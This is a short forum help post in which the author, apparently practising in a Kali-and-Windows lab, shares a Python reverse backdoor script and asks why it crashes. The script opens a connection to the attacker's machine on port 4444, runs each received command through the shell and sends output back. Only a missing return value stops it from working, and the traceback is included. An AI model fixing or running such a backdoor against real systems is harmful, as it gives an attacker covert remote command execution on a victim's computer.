Hello,

I am having problem with executing command remotely. My kali connection works fine and I am able to establish connection but as soon as I type a command I get an error on the Windows target machine.

This is the reverse backdoor code I run on the target machine:

#!/usr/bin/env python

import socket
import subprocess

def execute_system_command(command):
    subprocess.check_output(command, shell=True)

    
connection = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
connection.connect(("10.0.2.15", 4444))

while True:
	command = connection.recv(1024)
	command_result = execute_system_command(command)
	connection.send(command_result)

connection.close()

and this is the error I get:

C:\Users\IEUser\Python>C:\Python27\python.exe reverse_backdoor.py
Traceback (most recent call last):
  File "reverse_backdoor.py", line 15, in <module>
    connection.send(command_result)
TypeError: send() argument 1 must be string or buffer, not None

I tried to Google a solution but I could not solve it.

Thanks